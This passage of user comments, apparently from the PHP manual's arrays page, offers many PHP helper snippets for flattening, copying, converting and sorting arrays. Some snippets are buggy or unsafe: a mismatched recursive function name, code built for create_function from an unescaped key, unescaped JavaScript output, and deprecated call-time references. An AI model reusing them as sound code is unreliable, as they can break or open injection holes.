  // read the array, if it's not a string or number, remove it!
  for($i=0;$i<count($Input);$i++)
    if(!is_string($Input[$i])&&!is_numeric($Input[$i]))
      unset($Input[$i]);

  // if an element got removed in the middle of the array, it leaves holes in the
  // array index, so we use array_values to reset them again.
  $Input=array_values($Input);

  // several array counts used asead.
  $Count=count($Input);

  if($Count>1)
    return(implode(', ',array_splice($Input,0,$Count-1)).' and '.$Input[0]);
  if($Count==1)
    return($Input[0]);
  if($Count==0)
    return('');
  // nothing should happen beyond this point.
}

Combine(array('A')); // A
Combine(array('A','B')); // A and B
Combine(array('A','B','C')); // A, B and C
Combine(array('A','B','9',4,5)); // A, B, 9, 4 and 5
Combine(array(3,false,5,'nine','?!?!')); // 3, 5, nine and ?!?!
// and so on...

?>

Hope this helps someone,
Nitrogen.
oliverSPAMMENOT at e-geek dot com dot au 22-Mar-2010 07:28
Function to pretty print arrays and objects. Detects object recursion and allows setting a maximum depth. Based on arraytostring and u_print_r from the print_r function notes. Should be called like so:

<?php
egvaluetostring($value)   //no max depth, or
egvaluetostring($value, $max_depth)   //max depth set

function egvaluetostring($value, $max_depth, $key = NULL, $depth = 0, $refChain = array()) {
  if($depth > 0)
    $tab = str_repeat("\t", $depth);
  $text .= $tab . ($key !== NULL ? $key . " => " : "");

  if (is_array($value) || is_object($value)) {
    $recursion = FALSE;
    if (is_object($value)) {
      foreach ($refChain as $refVal) {
        if ($refVal === $value) {
          $recursion = TRUE;
          break;
        }
      }
      array_push($refChain, $value);
    }

    $text .= (is_array($value) ? "array" : "object") . " ( ";

    if ($recursion) {
      $text .= "*RECURSION* ";
    }
    elseif (isset($max_depth) && $depth >= $max_depth) {
      $text .= "*MAX DEPTH REACHED* ";
    }
    else {
      if (!empty($value)) {
        $text .= "\n";
        foreach ($value as $child_key => $child_value) {
          $text .= egvaluetostring($child_value, $max_depth, (is_array($value) ? "[" : "") . $child_key . (is_array($value) ? "]" : ""), $depth+1, $refChain) . ",\n";
        }
        $text .= "\n" . $tab;
      }
    }

    $text .= ")";

    if (is_object($value)) {
      array_pop($refChain);
    }
  }
  else {
    $text .= "$value";
  }

  return $text;
}
?>
ducnm0 at gmail dot com 01-Mar-2010 05:08
A function to convert php array into JS object, supporting both object and array:

<?php
static function is_assoc($array) {
        foreach ( array_keys ( $array ) as $k => $v ) {
            if ($k !== $v)
                return true;
        }
        return false;
    }

    static function arrayPHPToJS($data) {
        if (is_null($data)) return 'null';
        if (is_string($data)) return "'" . $data . "'";
        if (self::is_assoc($data)) {
            $a=array();
            foreach ($data as $key => $val )
                $a[]="'" . $key . "' :" .self::arrayPHPtoJS($val);
            return "{" . implode ( ', ', $a ) . "}";
        }
        if (is_array($data)) {
            $a=array();
            foreach ($data as $val )
                $a[]=self::arrayPHPtoJS($val);
            return "[" . implode ( ', ', $a ) . "]";
        }
        return $data;
    }
?>
phektus at gmail dot com 02-Dec-2009 03:44
This is how I solved my array combinations problem. My particular situation is that I needed to project combinations of certain results and analyse each combination based from a consolidation of one of their attributes. The following example does not show the analysis part but it shows how I came up with my combinations ($traits).

This is actually an improvement on: http://ask.metafilter.com/64554/Finding-combinations-in-PHP
as it deals with arrays of strings, while I need to combine arrays within an array (you guessed it, database results).

Hope somebody finds this useful or teaches me a simpler way [by email] to do this. Public domain etc.

<?php
    header('Content-Type: text/plain');

    class Test {
        // holds the combinations
        var $combinations= array();

        function getCombinations($batch, $elements, $i)  {
            if ($i >= count($elements)) {
                $this->combinations[] = $batch;
            } else {
                foreach ($elements[$i] as $element) {
                    $this->getCombinations(array_merge($batch, $element), $elements, $i + 1);
                }
            }
        }
    }

    // Test it!

    $traits = array (
        array(
            array('Happy'),
            array('Sad'),
            array('Angry'),
            array('Hopeful')
        ),
        array(
            array('Outgoing'),
            array('Introverted')
        ),
        array(
            array('Tall'),
            array('Short'),
            array('Medium')
        ),
        array(
            array('Violent'),
            array('Quiet'),
            array('Psychotic')
        ),
        array(
            array('Handsome'),
            array('Plain'),
            array('Ugly')
        )
    );

    $test = new Test();
    $start = array();
    $test->getCombinations($start, $traits, 0);
    print_r($test->combinations);

?>
shadiadiph at yahoo dot com 31-Oct-2009 07:24
This is a useful function to remove an array value from an array.

<?php

function rem_array($array,$str){
foreach ($array as $key => $value) {
if ($array[$key] == "$str") unset($array[$key]);
}
return $array;
}

$selected='';
$selected ="three";
$numbers=array();
$numbers=array('one','two','three','four');
print_r($numbers);

// returns  Array ( [0] => one [1] => two [2] => three [3] => four )

// now we are going to call the function to see if the number three the $selected number is in the array $numbers and remove it.

$numbers = rem_array($numbers,$selected);

print_r ($numbers);
// returns  Array ( [0] => one [1] => two [3] => four )

?>

I am finding it usefull for drop down lists on forms where you do not want the selected value duplicated.
seva dot lapsha at gmail dot com 02-Aug-2009 06:22
Arrays are good, but inapplicable when dealing with huge amounts of data.

I'm working on rewriting some array functions to operate with plain Iterators - map, reduce, walk, flip et cetera are already there.

In addition I'm going to implement simulation of comprehensions (generators) in PHP (http://en.wikipedia.org/wiki/List_comprehension).

See the source code, examples and documentation at http://code.google.com/p/php-iterator-utils/
jan at hooda dot de 07-Dec-2008 03:49
Two simple functions to add and delete values from arrays:

<?php
      function array_add (&$array, $val) {
        array_push ($array, $val);
      }

      function array_del (&$array, $str)
      {
        if (in_array($str,$array)==true) {
          foreach ($array as $key=>$value) {
            if ($value==$str) unset($array[$key]);
          }
        }
      }
?>
renatonascto at gmail dot com 17-Sep-2008 11:11
Big arrays use a lot of memory possibly resulting in memory limit errors. You can reduce memory usage on your script by destroying them as soon as you´re done with them. I was able to get over a few megabytes of memory by simply destroying some variables I didn´t use anymore.
You can view the memory usage/gain by using the funcion memory_get_usage(). Hope this helps!
pragash_jey at yahoo dot com 06-Apr-2008 07:38
Java Like Array Implementation!

<?php
/*
 * Author : Pragash Jeyaratnam
 * Vector Class
 * PHP Version 5.2.5
 * Contact : pragash_jey@yahoo.com.
 */
class Vector
{
    /*
     * The number of valid components in this Vector object.
     */
    protected $elementCount;
    /*
     * The array buffer into which the components of the vector are stored.
     */
    protected $elementData;

    /**Default vector Constructor*/
    function __construct()
    {
        $this->elementData = array();
        $this->elementCount = count($this->elementData);
    }

    /**Append the parameter element to the vector*/
    public function add($object)
    {
        if(!empty($object))
        {
            $this->elementData[] = $object;
            $this->elementCount = count($this->elementData);
            return true;
        }
        else
            return false;

    }

    /*
     * Returns true of Vector is empty false otherwise
     */
    public function isEmpty()
    {
        return($this->elementCount==0);
    }

  /*
   * Returns the current size of this Vector
   */
   public function size()
   {
       return $this->elementCount;
   }

   /*
    *  Searches for the first occurence of the given argument
    **/
   public function indexOf($object)
   {
          if(($index =array_search($object,$this->elementData)) !==false)
              return $index;
          else
              return -1;
   }

   /*
    * This function will retain TRUE if $object is contained
    * within the vector else FALSE
    */

   public function contains($object)
   {
           return ($this->indexOf($object)>=0);
   }

   /*
    * Returns Vector Object at index $index
    * Error : Null is returned
    */

   public function get($index)
   {
           if($this->checkBound($index))
           {
               return ($this->elementData[$index]);
           }
           return NULL;
   }

   /*
    * Sets the object at $index to be $object
    **/

   public function set($index,$object)
   {
           if($this->checkBound($index))
           {
               $this->elementData[$index] =$object ;
               return true;
           }
           return false;
   }

  /*
   * Removes element at $index
   **/

      public function removeAt($index)
      {
       if ($this->checkBound($index))
           {
                 for ($i = $index; $i != $this->elementCount - 1; $i++)
                  {
                   $this->elementData[$i] = $this->elementData[$i +1];
             }
       array_pop($this->elementData);
       $this->elementCount = count($this->elementData);

       return true;
       }
       else {
            return false;
            }
      }

    /**
     * Removes all elements from the Vector.  Note that this does not
     * resize the internal data array.
     */
   public function removeAll()
   {
         if($this->elementCount ==0)
             return;
         for($i=0;$i<$this->size();$i++)
         {
             $this->set($i,NULL);
         }
   }

   /*
    * This function checks whether index
    * is within the array bound
    **/

   private function checkBound($index)
   {
         if($index > $this->elementCount-1 || $index < 0)
         {
             throw new Exception('Array Index Out Of Bound Exception');
             return false;
         }
         return true;
   }

    /*
     *Removes the first element from the Vector
     */

    public function removeFirstElement()
    {
        if($this->elementCount==0)
        {
            throw new Exception('No Such Element');
        }
        $test =array_shift($this->elementData);
        if(!empty($test))
            $this->elementCount = count($this->elementData);
    }

}
?>
Anonymous 29-Mar-2008 11:28
This is the shorter way to flatten a array:
<?php
  function array_flatten($a) {
    foreach($a as $k=>$v) $a[$k]=(array)$v;
    return call_user_func_array(array_merge,$a);
  }
?>
bas at muer dot nl 17-Mar-2008 08:17
I see a lot of people here writing complex functions to convert an array to a string, for use with Javascript or other things (possibly even databases, which would be bad).
For Javascript, the most efficient way would be JSON (http://www.php.net/json_encode). For normal use, serialize() (http://www.php.net/serialize) is your friend.
jake at blah dot inf 06-Mar-2008 06:03
@margol:

<?php
$tuple_array = array(array('key1' => 'val1'), array('key2' => 'val2'));
list($key, $val) = each(array_pop($tuple_array));
?>

But, why not use a two element array instead of a single-element associative array?

<?php
$tuple_array = array(array('key1', 'val1'), array('key2','val2'));
list($key,$val) = array_pop($tuple_array);
?>
margol at beamartyr dot net 04-Mar-2008 01:45
More intuitive tuple support would be nice  :)

But for those scratching their heads, like I did, to extract a tuple from an array of tuples, do something like:

    $tuple = array_pop($tuple_array);
    $key = key($tuple);
    $val = $tuple[$key];
yousefomar (a) yahoo dot com 28-Feb-2008 11:26
Here is how you refresh the expiration time for multiple cookies:

// get the cookie names
$keys=array_keys($_COOKIE);

// loop through all the cookies and update the exp. time
for ($i=0; $i<count($_COOKIE);$i++)
   setcookie( $keys[$i], $_COOKIE[$keys[$i]], time()+3600);

you can use this in authentication validate file to keep the session up.
ms419 at freezone dot co dot uk 14-Feb-2008 10:35
This function takes an array, a key and a value. If the key is not an array, it acts just like $array[$key] =& $value; If the key is an array, it recurses in the array, creating nested arrays as necessary.

Example:

$array = array('A' => array('B' => 'phi'));
$key = array('A', 'Z');
$value = 'gamma';

arraySet($array, $key, $value);

$array should now be:

array('A' => array('B' => 'phi', 'C' => 'gamma'));

This is useful for constructing nested arrays from sets of filesystem paths (e.g. 'A/B/C') or structured variable names (e.g. 'A.B.C' or 'A[B][C]')

Example:

arraySet($array, preg_split('/\//', $path, -1, PREG_SPLIT_NO_EMPTY), $value);

function arraySet(array &$array, $key, &$value)
{
    if (is_array($key)) {
        $keyComponent = array_shift($key);

        if (empty($key)) {
            $array[$keyComponent] =& $value;
            return;
        }

        if (!is_array($array[$keyComponent])) {
            $array[$keyComponent] = array();
        }

        PHP_CodeSniffer_arraySet($array[$keyComponent], $key, $value);
        return;
    }

    $array[$key] =& $value;
}
dennis at DONTSPAMME dot born05 dot nl 13-Feb-2008 07:22
I haven't completely figured out when or why an array gets referenced or copied, but it gave me quite the headache..

So i wrote a function which recursively copies an array while preserving keys and also clones objects if encountered

<?php
    /**
     * make a recursive copy of an array
     *
     * @param array $aSource
     * @return array    copy of source array
     */
    function array_copy ($aSource) {
        // check if input is really an array
        if (!is_array($aSource)) {
            throw new Exception("Input is not an Array");
        }

        // initialize return array
        $aRetAr = array();

        // get array keys
        $aKeys = array_keys($aSource);
        // get array values
        $aVals = array_values($aSource);

        // loop through array and assign keys+values to new return array
        for ($x=0;$x<count($aKeys);$x++) {
            // clone if object
            if (is_object($aVals[$x])) {
                $aRetAr[$aKeys[$x]]=clone $aVals[$x];
            // recursively add array
            } elseif (is_array($aVals[$x])) {
                $aRetAr[$aKeys[$x]]=array_copy ($aVals[$x]);
            // assign just a plain scalar value
            } else {
                $aRetAr[$aKeys[$x]]=$aVals[$x];
            }
        }

        return $aRetAr;
    }
?>

I hope i can save someone else's aspirine with this ;)
csorfab at gmail dot com 05-Feb-2008 10:26
Here's a function I wrote to combine the values in an array in all different ways, and which returns a two-dimensional array as a byref result.

E.g.

if called:
comb(array(1, 2, 3), $r);

then $r would be:

1 2 3
1 3 2
2 1 3
2 3 1
3 1 2
3 2 1

<?php

    function comb($arr, &$rarr, $vtemp = array()){
        foreach($arr as $key => $value){
            $vtemp2 = $vtemp;
            $vtemp2[] = $value;

            $atemp = $arr;
            unset($atemp[$key]);

            if(count($atemp) > 0){
                comb($atemp, $rarr, $vtemp2);
            } else {
                $t = array();

                foreach($vtemp2 as $val){
                    $t[] = $val;
                }

                $rarr[] = $t;
            }
        }
    }

?>
christian dot reinecke at web dot de 02-Feb-2008 01:12
Here are two more functions handling string2array and access array by string. It's useful if you want to access an array in xpath-style, such as parse_ini_file return values with $process_sections = TRUE.

<?php
function createArrayByString($string, $separator, $value = NULL)
{
    if (strlen($string) > 0) {
        $splitter = explode($separator, $string);
        $index = array_shift($splitter); // get first element
        $function = __FUNCTION__;
        return array($index => $function(implode($separator, $splitter), $separator, $value));
    }
    return $value;
}

function accessArrayByString($array, $string, $separator, $default = NULL)
{
    if (!is_array($array)) {
        return empty($string) ? $array : $default;
    }
    @list ($key, $rest) = explode($separator, $string, 2); // @ needed for last access

    $function = __FUNCTION__;
    return array_key_exists($key, $array)
         ? $function($array[$key], $rest, $separator, $default)
         : $default;
}

$string = "one.two.three.four";
$separator = ".";

$array = createArrayByString($string, $separator, "standard value");
$return = accessArrayByString($array, $string, $separator, "element not found");

var_dump($array); // should return array("one" => array("two" => array("three" => array("four" => "standard value"))))
var_dump($return); // should return "standard value";
?>

change the function name to what ever you want, the recursive call uses __FUNCTION__ for re-call.
florian at egliselasauzaie dot fr 30-Jan-2008 02:09
I've created a class which is comparable to a Vector in C++;
<?php
class Vector {
    public $nb_elements;
    public $liste;

    public function Vector() {
        $this->liste = array ();
        $this->nb_elements = count($this->liste);
    }

    public function push_back($valeur) {
        if (!empty ($valeur)) {
            $this->liste[] = $valeur;
            $this->nb_elements = count($this->liste);
            return true;
        } else {
            return false;
        }
    }
    public function insert_at($indice, $valeur) {
        if ($indice > 0 && $indice < $this->nb_elements) {
            for ($i = $this->nb_elements; $i != $indice; $i--) {
                $this->liste[$i] = $this->liste[$i -1];
            }
            $this->liste[$indice] = $valeur;
            $this->nb_elements = count($this->liste);
            return true;
        } else {
            return false;
        }
    }
    public function remove_at($indice) {
        if ($indice > 0 && $indice < $this->nb_elements) {
            for ($i = $indice; $i != $this->nb_elements - 1; $i++) {
                $this->liste[$i] = $this->liste[$i +1];
            }
            array_pop($this->liste);
            $this->nb_elements = count($this->liste);
            return true;
        } else {
            return false;
        }
    }
    public function pop() {
        $value = array_pop($this->liste);
        $this->nb_elements = count($this->liste);
        return $value;
    }
    public function shift() {
        $value = array_shift($this->liste);
        $this->nb_elements = count($this->liste);
        return true;
    }
}
?>
really quick function 25-Jan-2008 12:37
function array_flatten($a){ //flattens multi-dim arrays (distroys keys)
    $ab = array(); if(!is_array($a)) return $ab;
    foreach($a as $value){
        if(is_array($value)){
            $ab = array_merge($ab,array_flatten($value));
        }else{
            array_push($ab,$value);
        }
    }
    return $ab;
}
Jck_true (leave out the &#39;_&#39; at gmail dot com) 25-Jan-2008 02:00
A usefull function that returns a flat array.
I use it in a template system. Let the user pass a multidimensional array. Convert it using my function. Then use
<?php
$array = flatten($array,'','{$','}','->');
echo str_replace(array_keys($array),array_values($array),$template)
/**
* Flattens out an multidimension array
* Using the last parameters you can define the new key based on the old path.
* @param array $array A multidimension array
* @param string $prefix Internal perfix parameter - leave empty.
* @param string $start_string What string should start the final array key?
* @param string $end_string What string should end the final array key?
* @param string $seperator The string that should seperate the piecies in final array key path
* @return array Returns the flat array
*/
function flatten($array, $start_string= '{$',$end_string= '}',$seperator='->',$prefix="") {
  $return = array();
  foreach($array as $key=>$value) {
    if (is_array($value)) {
      $return = array_merge($return, Parser_method_replace::flatten($value, $prefix.$key.$seperator,$start_string,$end_string,$seperator));
    } else
      $return [$start_string.$prefix.$key.$end_string] = $value;
  }
  return $return;
}
}
?>
Example:
$template = 'My string with replacement {$test->subkey}';
{$test->subkey} will get replaced with $array['test']['subkey']
chaos dot global dot net at gmail dot com 02-Jan-2008 03:53
if some one will need to convert array to php code use this function:

DEFINE('OFFSET_DELIMETER', "\t");

function array2php($array, $offset = OFFSET_DELIMETER)  {
    $text = '';
    foreach($array as $k => $v) {
        if (is_array($v)) {
            $text .= "{$offset}'{$k}' => array(\n".array2php($v, $offset.OFFSET_DELIMETER)."$offset)";
        } else {
            $text .= "{$offset}'{$k}' => ".(is_string($v)? "'$v'": $v);
        }
        $text .= ",\n";
    }
    if ($len = strlen($text)) $text[$len - 2] = " ";
    return $text;
}
Hayley Watson 17-Oct-2007 04:10
Regarding cyberchrist at futura dot net's function. It makes an unnecessary array_merge(); the elements of $b that are merged with those of $a are immediately removed again by the array_diff(). The "limiting to known values" is entirely unnecessary, in other words: arrays already only contain "known values".

Also, the description and function only address the issue of whether $a is a subset of $b, not whether it is a proper subset. For $a to be a proper subset of $b, it must also be the case that $b is not a subset of $a.

Taking those points into account (and a personal aesthetic dislike of "if(test) return true; else return false;" gives:

<?php
function is_subset($a, $b)
{
    return count(array_diff($a,$b))==0;
}

function is_proper_subset($a, $b)
{
    return is_subset($a, $b) && !is_subset($b, $a);
}
?>
cyberchrist at futura dot net 15-Oct-2007 06:33
Lately, dealing with databases, I've been finding myself needing to know if one array, $a, is a proper subset of $b.

Mathematically, this is asking (in set theory) [excuse the use of u and n instead of proper Unicode):

( A u B ) n ( ~ B )

What this does is it first limits to known values, then looks for anything outside of B but in the union of A and B (which would be those things in A which are not also in B).

If any value exists in this set, then A is NOT a proper subset of B, because a value exists in A but not in B.  For A to be a proper subset, all values in A must be in B.

I'm sure this could easily be done any number of ways but this seems to work for me.  It's not got a lot of error detection such as sterilizing inputs or checking input types.

// bool array_subset( array, array )
// Returns true if $a is a proper subset of $b, returns false otherwise.

function array_subset( $a, $b )
{
    if( count( array_diff( array_merge($a,$b), $b)) == 0 )
        return true;
    else
        return false;
}
Kazuyoshi Tlacaelel 29-Aug-2007 11:56
<?php
/**
 * converts a multidimensional array to a flat array
 *
 * trying to keep the original names of the keys
 * if repeated keys are found a hash will be added to the
 * keys trying to keep as much as possible of the original
 * key context
 *
 * september 30 2007
 *
 * PHP version 5
 *
 * @license         GPL
 *
 */

$array = array ( 0 => array ( 0 => 1, 1 => 2, 2 => array ( 0 => 3, 1 => 4, 2 =>
array ( 0 => 5, 1 => 6, 2 => array ( 0 => 7, 1 => 8,),),), 3 => array (
    0 => array ( 0 => 9, 1 => 10, 2 => array ( 0 => 11, 1 => 12,
    2 => array ( 0 => 13, 1 => 14, 2 => array ( 0 => 15, 1 => 16,),),),),
    1 => array ( 0 => 17, 1 => 18,),),), 1 => array ( 0 => 19, 1 => 20,),
    2 => array ( 0 => array ( 0 => 21, 1 => 22, 2 => array ( 0 => 23, 1 => 24,
    2 => array ( 0 => 25, 1 => 26, 2 => array ( 0 => 27, 1 => 28,),),),),
    1 => array ( 0 => 29, 1 => 30,),),);

/**
 * transforms a multidimensional array to a flat array
 *
 * the parameter is referenced
 * so no returning value is needed
 * @param array $array the multidimensional array to flat
 * @return void
 */
function array_flatten(&$array)
{
    function has_arrays($array)
    {
        foreach ($array as $item) {
            if (is_array($item)) {
                return true;
            }
        }
        return false;
    }

    function copy_array(&$array, $array_key)
    {
        $array2 = $array[$array_key];
        unset($array[$array_key]);
        foreach ($array2 as $subkey => $subvalue) {
            if (array_key_exists($subkey, $array)) {
                $array[generate_unique_key($subkey)] = $subvalue;
            } else {
                $array[$subkey] = $subvalue;
            }
        }
    }

    function generate_unique_key($key)
    {
        if (strlen($key)>8) {
            $key = $key[0] . $key[1] . $key[2];
        }
        $id = $key . '_';
        $uid = uniqid();
        $len = strlen($uid);
        $max = (9 - strlen($key));
        for ($c = $len; ; $c --) {
            $id .= $uid[$c];
            if ($c == ($len - $max)) {
                break;
            }
        }
        return $id;
    }

    function get_array_indexes($array)
    {
        $ret_array = array();
        foreach ($array as $key => $value) {
            if (is_array($value)) {
                $ret_array[] = $key;
            }
        }
        return $ret_array;
    }

    while(has_arrays($array)) {
        foreach (get_array_indexes($array) as $key) {
            copy_array($array, $key);
        }
    }
}

    array_flatten($array);
    array_multisort($array);
    var_export($array);

    /**
     *  OUTPUT
     *
     *  array (
     *    0 => 1,
     *    '1_403767b6' => 2,
     *    '0_793767b6' => 3,
     *    '1_8a3767b6' => 4,
     *    '0_454767b6' => 5,
     *    '1_564767b6' => 6,
     *    '0_035767b6' => 7,
     *    '1_345767b6' => 8,
     *    '0_e74767b6' => 9,
     *    '1_f84767b6' => 10,
     *    '0_855767b6' => 11,
     *    '1_a65767b6' => 12,
     *    '0_4e5767b6' => 13,
     *    '1_6f5767b6' => 14,
     *    '0_566767b6' => 15,
     *    '1_876767b6' => 16,
     *    '0_5b4767b6' => 17,
     *    '1_6c4767b6' => 18,
     *    '0_d43767b6' => 19,
     *    1 => 20,
     *    '0_4e3767b6' => 21,
     *    '1_5f3767b6' => 22,
     *    '0_ad4767b6' => 23,
     *    '1_ce4767b6' => 24,
     *    '0_485767b6' => 25,
     *    '1_695767b6' => 26,
     *    '0_116767b6' => 27,
     *    '1_426767b6' => 28,
     *    '0_814767b6' => 29,
     *    '1_924767b6' => 30,
     *  )
     */
?>
mo dot longman at gmail dot com 30-Jul-2007 11:27
to 2g4wx3:
i think better way for this is using JSON, if you have such module in your PHP. See json.org.

to convert JS array to JSON string: arr.toJSONString();
to convert JSON string to PHP array: json_decode($jsonString);

You can also stringify objects, numbers, etc.
g4wx3 19-Jul-2007 02:16
I needed a function to convert a php array into a javascript array.
No problem i found it on "the net".

But the function i found wasn't good enough, instead of return a string with javascript-array it echoed directly everything.
I wanted to write the string to a file, when calling the function out of my function libary.

Secondly, there where minor "bugs" in the script, when you're original array contained characters like line breaks(\r\n,..), or quotes('), it would hack up the javascript array

Sow, i changed the function and fixed the bug.

<?php
//SUPER COOL : http://www.communitymx.com/content/article.cfm?page=3&cid=7CD16
//Checkout:  REVERSE: http://www.hscripts.com/tutorials/php/jsArrayToPHP.php
//Convert a PHP array to a JavaScript one (rev. 4)
//Changlog by g4wx3: echo replaced by $output, added function output
function output($string) //make javascript ready
    {
    $string = str_replace( array( '\\' , '\'' ), array('\\\\', '\\\'') , $string); //-> for javascript array
    $string = str_replace(  array("\r\n", "\r", "\n") , '<br>' , $string);    //nl2br
    return $string;
    }
function arrayToJS4($array, $baseName ) {
    //Write out the initial array definition
//v4    echo ($baseName . " = new Array(); \r\n ");
    $output = $baseName . " = new Array(); \r\n ";

    //Reset the array loop pointer
    reset ($array);

    //Use list() and each() to loop over each key/value
    //pair of the array
    while (list($key, $value) = each($array)) {
        if (is_numeric($key)) {
        //A numeric key, so output as usual
        $outKey = "[" . $key . "]";
        } else {
        //A string key, so output as a string
        $outKey = "['" . $key . "']";
        }

        if (is_array($value)) {
        //The value is another array, so simply call
        //another instance of this function to handle it
        $output .= arrayToJS4($value, $baseName . $outKey);
        } else {

            //Output the key declaration
//v4            echo ($baseName . $outKey . " = ");
            $output .= $baseName . $outKey . " = ";

            //Now output the value
            if (is_string($value)) {
                //Output as a string, as we did before
//v4                echo ("'" . output($value) . "'; \r\n ");
                $output .= "'" . output($value) . "'; \r\n ";
            } else if ($value === false) {
                //Explicitly output false
//v4                echo ("false; \r\n");
                $output .= "false; \r\n";
            } else if ($value === NULL) {
                //Explicitly output null
//v4                echo ("null; \r\n");
                $output .= "null; \r\n";
            } else if ($value === true) {
                //Explicitly output true
//v4                echo ("true; \r\n");
                $output .= "true; \r\n";
            } else {
            //Output the value directly otherwise
//v4            echo ($value . "; \r\n");
            $output .= $value . "; \r\n";
            }
        }
    }
return $output;
}
?>
You can use this for printing $_GET array, for example
peanutpad at msn dot com 15-Jun-2007 03:15
heres a function from http://www.linksback.org  Feedback welcome, of course!  Public domain, yadda yadda.

function mySort(&$array,$key) {
    if (!is_array($array) || count($array) == 0) return true;
    $assocSortCompare  = '$a = $a["'.$key.'"]; $b = $b["'.$key.'"];';

    if (is_numeric($array[0][$key])) {
      $assocSortCompare.= ' return ($a == $b) ? 0 : (($a < $b) ? -1 : 1);';
    } else {
      $assocSortCompare.= ' return strcmp($a,$b);';
    }

    $assocSortCompare = create_function('$a,$b',$assocSortCompare);
    return usort($array,$assocSortCompare);
}
webdev at svbeatrix dot com 11-Jun-2007 09:06
Bugs happen, but how can people post functions that WON'T EVEN COMPILE!  I truly detest finding a cool code snippet or function and then having to debug them. Sorry for the rant, but I have experienced this scenario a number of times.  TEST YOUR CODE, THEN POST!

Here is a revised and corrected previously posted function ArrayDepth, which had 3 bugs and yes, would not compile.

function ArrayDepth($Array,$DepthCount=-1) {
// Find maximum depth of an array
// Usage: int ArrayDepth( array $array )
// returns integer with max depth
// if Array is a string or an empty array it will return 0
  $DepthArray=array(0);
  $DepthCount++;
  $Depth = 0;
  if (is_array($Array))
    foreach ($Array as $Key => $Value) {
      $DepthArray[]=ArrayDepth($Value,$DepthCount);
    }
  else
    return $DepthCount;
  return max($DepthCount,max($DepthArray));
}
sid dot pasquale at gmail dot com 29-May-2007 02:57
<?php
/* This function allow you to transform a multidimensional array
   in a simple monodimensional array.
   Usage: array_walk($oldarray, 'flatten_array', &$newarray);
   For example, this code below shows to you:
        Array
        (
            [1] => Array
                (
                    [0] => 1
                    [1] => 2
                )

            [2] => Array
                (
                    [0] => 3
                    [1] => 4
                )

        )

        Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
            [3] => 4
        )
*/

function flatten_array($value, $key, &$array) {
    if (!is_array($value))
        array_push($array,$value);
    else
        array_walk($value, 'flatten_array', &$array);

}

$oldarray = array(
    1 => array(1,2),
    2 => array(3,4)
);
$newarray = array();
array_walk($oldarray, 'flatten_array', &$newarray);
echo "<pre>";
print_r($oldarray);
print_r($newarray);
echo "</pre>";
?>
info at dyflexis dot nl 17-Apr-2007 01:13
A modernized version of the flatten_array() functies written by

davidj at boundlessgallery dot DISLIKESPAM dot com
on 02-Apr-2004 03:10

This function is able to work with associative arrays

<?php
function flatten_array($array) {
     $size=sizeof($array);
     $keys=array_keys($array);
    for($x = 0; $x < $size; $x++) {
         $element = $array[$keys[$x]];

        if(is_array($element)) {
            $results = flatten_array($element);
                $sr = sizeof($results);
                $sk=array_keys($results);
            for($y = 0; $y < $sr; $y++) {
                $flat_array[$sk[$y]] = $results[$sk[$y]];
            }
        } else {
            $flat_array[$keys[$x]] = $element;
        }
    }

    return $flat_array;
}
?>
info at joolee dot nl 19-Mar-2007 04:49
A slight modification in the arraytostring function, posted below. This function lists an array the same way you would define it in PHP.

<?PHP
function arraytostring($array, $depth = 0)
{
   if($depth > 0)
      $tab = implode('', array_fill(0, $depth, "\t"));
   $text.="array(\n";
   $count=count($array);

   foreach ($array as $key=>$value)
   {
       $x++;

       if (is_array($value))
       {
           if(substr($text,-1,1)==')')    $text .= ',';
           $text.=$tab."\t".'"'.$key.'"'." => ".arraytostring($value, $depth+1);
           continue;
       }

       $text.=$tab."\t"."\"$key\" => \"$value\"";

       if ($count!=$x) $text.=",\n";
   }

   $text.="\n".$tab.")\n";

   if(substr($text, -4, 4)=='),),')$text.='))';

   return $text;
}
?>
Vladson 14-Mar-2007 07:18
Hope someone find it useful..

<?php
/*
    Function: eratosthenes
    Usage: array eratosthenes ( int max_value )

    Description:
    Sieve of Eratosthenes is a simple, ancient algorithm
    for finding all prime numbers up to a specified integer.
    It was created by Eratosthenes, an ancient Greek mathematician.
*/
function eratosthenes($max) {
    $sieve = array_fill(2, ($max-1), false);
    while ($key = array_search(false, $sieve)) {
        $sieve[$key] = true;
        for ($i=$key*$key; $i<=$max; $i+=$key) {
            if (array_key_exists($i, $sieve)) {
                unset($sieve[$i]);
            }
        }
    }
    return array_keys($sieve);
}
?>
aflavio at gmail dot com 28-Feb-2007 11:29
/**
    * Remove a value from a array
    * @param string $val
    * @param array $arr
    * @return array $array_remval
    */
    function array_remval($val, &$arr)
    {
          $array_remval = $arr;
          for($x=0;$x<count($array_remval)-1;$x++)
          {
              $i=array_search($val,$array_remval);
              if($i===false)return false;
              $array_remval=array_merge(array_slice($array_remval, 0,$i), array_slice($array_remval, $i+1));
          }
          return $array_remval;
    }

$stack = array("orange", "banana", "apple", "raspberry", "apple");

output $stack = array("orange", "banana", "raspberry");
rune at zedeler dot dk 27-Feb-2007 08:42
Notice that keys are considered equal if they are "=="-equal. That is:

<?
$a = array();
$a[1] = 'this is the first value';
$a[true] = 'this value overrides the first value';
$a['1'] = 'so does this one';
?>
Mark Lindeman 17-Jan-2007 02:10
Very simple solution for changing the key of an associative array, of course it will fail in a lot of scenarios, but will do the trick in simple arrays:

<?php
function replace_key(&$input, $from_key, $to_key)
{
    $input = unserialize(str_replace(':"'.$from_key.'";', ':"'.$to_key.'";',serialize($input)));
}

$array =array("a"=>1, "B"=>2, "c"=>3);
replace_key($array, "B", "b");
print_r($array);
?>
Output:
Array
(
    [a] => 1
    [b] => 2
    [c] => 3
)
php_spam {at] erif dot org 28-Dec-2006 10:52
public domain, yadda yadda. :)

This function takes a flatfile-like array (like the results of a joined query) and normalizes it based on whichever parameters you like.

<?php

  function hashByFields($things,$fields) {
    $retval=null;
    $count = count($fields);
    foreach ($things as $thing) {
      $fwibble =& $retval;
      for ($j=0;$j<$count;$j++) {
        $val = $thing[$fields[$j]];
        if ($j == $count - 1) {
          $fwibble[$val] = $thing;
        } else if (!isset($fwibble[$val])) {
          $fwibble[$val] = Array();
        }
        $fwibble =& $fwibble[$val];
      }
    }
    return $retval;
  }

?>
simone dot carletti at unimc dot it 28-Nov-2006 07:09
Ever wanted to obtain a subset of an associative array from a list of parameters (stored into a non-associative array)?
Give this a try:

<?php

$params = array("name" => "Simone", "gender" => "M", "city" => "Macerata", "phone" => 123);
$fields = array("name", "city");

echo "<pre>";
print_r($params);
print_r($fields);
print_r(subArr($params, $fields));

function subArr($assocArrHaystack, $arrFields)
{
    $arrSub = array();

    foreach ($assocArrHaystack as $key => $value) {
